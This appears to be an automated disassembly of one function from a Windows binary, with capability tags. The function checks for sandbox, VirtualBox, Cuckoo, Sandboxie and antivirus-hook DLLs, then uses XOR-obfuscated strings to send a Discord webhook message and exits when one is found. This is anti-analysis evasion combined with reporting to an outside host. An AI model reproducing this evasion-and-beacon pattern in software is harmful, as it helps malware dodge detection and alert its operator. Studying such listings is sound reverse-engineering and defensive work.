Function at 0x44b670
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x475f92
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1c48
call fcn.00474050
mov eax, dword [0x49400c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x80], str.DotNetTools.dll
lea esi, [ebp - 0x80]
mov dword [ebp - 0x7c], str.ExtendedNotifications.dll
mov dword [ebp - 0x78], str.ExtendedServices.dll
mov dword [ebp - 0x74], str.ExtendedTools.dll
mov dword [ebp - 0x70], str.vboxdisp.dll
mov dword [ebp - 0x6c], str.vboxhook.dll
mov dword [ebp - 0x68], str.vboxmrxnp.dll
mov dword [ebp - 0x64], str.vboxogl.dll
mov dword [ebp - 0x60], str.vboxoglcrutil.dll
mov dword [ebp - 0x5c], str.vboxoglpackspu.dll
mov dword [ebp - 0x58], str.vboxoglerrorspu.dll
mov dword [ebp - 0x54], str.vboxoglfeedbackspu.dll
mov dword [ebp - 0x50], str.vboxoglarrayspu.dll
mov dword [ebp - 0x4c], str.avghookx.dll
mov dword [ebp - 0x48], str.avghooka.dll
mov dword [ebp - 0x44], str.snxhk.dll
mov dword [ebp - 0x40], str.sbiedll.dll
mov dword [ebp - 0x3c], str.api_log.dll
mov dword [ebp - 0x38], str.dir_watch.dll
mov dword [ebp - 0x34], str.vmcheck.dll
mov dword [ebp - 0x30], str.wpespy.dll
mov dword [ebp - 0x2c], str.cmdvrt64.dll
mov dword [ebp - 0x28], str.cmdvrt32.dll
mov dword [ebp - 0x24], str.SbieDll.dll
mov dword [ebp - 0x20], str.SxIn.dll
mov dword [ebp - 0x1c], str.cuckoomon.dll
nop
mov edi, dword [esi]
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x15ac], eax
test eax, eax
jne 0x44b7ab
add esi, 4
lea eax, [ebp - 0x18]
cmp esi, eax
jne 0x44b770
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00472e83
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push edi
lea ecx, [ebp - 0xb0]
call fcn.004666f0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x1668]
push 0x4797c6
mov dword [ebp - 0x1650], 0
mov dword [ebp - 0x164c], 0
call fcn.004666f0
push 1
push 0xc
sub esp, 0xc
mov byte [ebp - 4], 1
movq xmm0, qword [ebp - 0x1650]
lea ecx, [ebp - 0x15a8]
mov eax, esp
push 1
push 1
push 0
movq qword [eax], xmm0
push 0
mov dword [eax + 8], 0
lea eax, [ebp - 0x1668]
push 0x317efd
push eax
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::cluster::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int__unsigned_int__unsigned_int__bool__struct_dpp::cache_policy_t__unsigned_int__unsigned_int_]
lea ecx, [ebp - 0x1668]
mov byte [ebp - 4], 3
call fcn.004665d0
sub esp, 0x28
push esp
call dword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::log_t_const______cdecl_dpp::utility::cout_logger_void_]
add esp, 4
lea ecx, [ebp - 0x1378]
call fcn.00465a10
movaps xmm0, xmmword [0x48a480]
xor ecx, ecx
movups xmmword [ebp - 0x16e8], xmm0
mov dword [ebp - 0x1678], 0x4300718
movaps xmm0, xmmword [0x48a6d0]
movups xmmword [ebp - 0x16d8], xmm0
mov dword [ebp - 0x1674], 0x200e336e
movaps xmm0, xmmword [0x48b6e0]
movups xmmword [ebp - 0x16c8], xmm0
mov word [ebp - 0x1670], 0x766
movaps xmm0, xmmword [str._naoaxca_]
movups xmmword [ebp - 0x16b8], xmm0
mov byte [ebp - 0x166e], 0
movaps xmm0, xmmword [0x48b4b0]
movups xmmword [ebp - 0x16a8], xmm0
movaps xmm0, xmmword [0x48b390]
movups xmmword [ebp - 0x1698], xmm0
movaps xmm0, xmmword [str.2_o_a:_e]
movups xmmword [ebp - 0x1688], xmm0
mov al, byte [ebp - 0x16e8]
xor byte [ebp + ecx - 0x16e7], al
inc ecx
cmp ecx, 0x79
jb 0x44b8d1
lea eax, [ebp - 0x16e7]
mov byte [ebp - 0x166e], 0
push eax
lea ecx, [ebp - 0x1700]
call fcn.004666f0
lea eax, [ebp - 0x1700]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x138]
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::webhook::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [ebp - 0x1700]
mov byte [ebp - 4], 6
call fcn.004665d0
push 0x4797c6
lea ecx, [ebp - 0x98]
call fcn.004666f0
mov byte [ebp - 4], 7
xorps xmm0, xmm0
movlpd qword [ebp - 0x1650], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x48ae30]
movups xmmword [ebp - 0x1664], xmm0
mov byte [ebp - 0x1654], 0
nop dword [eax]
mov al, byte [ebp - 0x1664]
xor byte [ebp + ecx - 0x1663], al
inc ecx
cmp ecx, 0xf
jb 0x44b960
movaps xmm0, xmmword [0x48ab00]
xor ecx, ecx
movups xmmword [ebp - 0x1610], xmm0
mov byte [ebp - 0x1654], 0
movaps xmm0, xmmword [0x48acc0]
movups xmmword [ebp - 0x1600], xmm0
mov dword [ebp - 0x15f0], 0x5a504e48
mov dword [ebp - 0x15ec], 0x1508355a
mov dword [ebp - 0x15e8], 0x5a5a504a
mov byte [ebp - 0x15e4], 0
nop dword [eax]
mov al, byte [ebp - 0x1610]
xor byte [ebp + ecx - 0x160f], al
inc ecx
cmp ecx, 0x2b
jb 0x44b9c0
movaps xmm0, xmmword [0x48ad40]
xor ecx, ecx
movups xmmword [ebp - 0x15e0], xmm0
mov byte [ebp - 0x15e4], 0
movaps xmm0, xmmword [0x48abe0]
movups xmmword [ebp - 0x15d0], xmm0
mov dword [ebp - 0x15c0], 0x5d57494f
mov dword [ebp - 0x15bc], 0x3b3b335d
mov dword [ebp - 0x15b8], 0x7e5d5d4d
mov byte [ebp - 0x15b4], 0
nop dword [eax]
mov al, byte [ebp - 0x15e0]
xor byte [ebp + ecx - 0x15df], al
inc ecx
cmp ecx, 0x2b
jb 0x44ba20
lea ecx, [ebp - 0x17a8]
mov byte [ebp - 0x15b4], 0
call fcn.0043d500
mov edx, eax
mov byte [ebp - 4], 8
xor ecx, ecx
movaps xmm0, xmmword [0x48b440]
movups xmmword [ebp - 0x163c], xmm0
mov dword [ebp - 0x161c], 0x7a7a706e
movaps xmm0, xmmword [0x48b560]
movups xmmword [ebp - 0x162c], xmm0
mov dword [ebp - 0x1618], 0x6a13111d
mov dword [ebp - 0x1614], 0x597a7a
nop word [eax + eax]
mov al, byte [ebp - 0x163c]
xor byte [ebp + ecx - 0x163b], al
inc ecx
cmp ecx, 0x2a
jb 0x44ba90
push edx
lea edx, [ebp - 0x163b]
mov byte [ebp - 0x1611], 0
lea ecx, [ebp - 0x1790]
call fcn.00467de0
add esp, 4
lea ecx, [ebp - 0x15df]
mov byte [ebp - 4], 9
push ecx
mov edx, eax
lea ecx, [ebp - 0x1778]
call fcn.00467eb0
add esp, 4
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 0xa
push ecx
mov edx, eax
lea ecx, [ebp - 0x1760]
call fcn.00467f20
add esp, 4
lea ecx, [ebp - 0x160f]
mov byte [ebp - 4], 0xb
push ecx
mov edx, eax
lea ecx, [ebp - 0x1748]
call fcn.00467eb0
add esp, 4
push 0x49466c
mov edx, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1730]
call fcn.00467f20
add esp, 4
lea ecx, [ebp - 0x1663]
mov byte [ebp - 4], 0xd
push ecx
mov edx, eax
lea ecx, [ebp - 0x1718]
call fcn.00467eb0
add esp, 4
push 0
push eax
lea ecx, [ebp - 0x1c58]
mov byte [ebp - 4], 0xe
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::message::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___enum_dpp::message_type_]
mov esi, eax
lea eax, [ebp - 0x98]
mov byte [ebp - 4], 0xf
push eax
sub esp, 8
lea eax, [ebp - 0x1650]
mov ecx, esp
push eax
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::snowflake::constructor_unsigned_long_long_unsigned___int64__const__]
push 0
push esi
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x1a00]
push eax
lea ecx, [ebp - 0x15a8]
call dword [sym.imp.dpp.dll_public:_struct_dpp::message___thiscall_dpp::cluster::execute_webhook_sync_class_dpp::webhook_const___struct_dpp::message_const___bool__class_dpp::snowflake__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov esi, dword [sym.imp.dpp.dll_public_virtual:_void___thiscall_dpp::message::destructor_void_]
lea ecx, [ebp - 0x1a00]
call esi
lea ecx, [ebp - 0x1c58]
call esi
lea ecx, [ebp - 0x1718]
call fcn.004665d0
lea ecx, [ebp - 0x1730]
call fcn.004665d0
lea ecx, [ebp - 0x1748]
call fcn.004665d0
lea ecx, [ebp - 0x1760]
call fcn.004665d0
lea ecx, [ebp - 0x1778]
call fcn.004665d0
lea ecx, [ebp - 0x1790]
call fcn.004665d0
lea ecx, [ebp - 0x17a8]
call fcn.004665d0
lea ecx, [ebp - 0x98]
mov byte [ebp - 4], 6
call fcn.004665d0
push dword [ebp - 0x15ac]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp byte [0x49527d], 0
je 0x44bc5a
lea eax, [ebp - 0xb0]
mov edx, str.encontrou_a_dll
push eax
lea ecx, [ebp - 0x98]
call fcn.00467d80
add esp, 4
lea ecx, [ebp - 0x98]
push 0
push 0x486c98
call fcn.00466330
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x98]
call fcn.004665d0
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3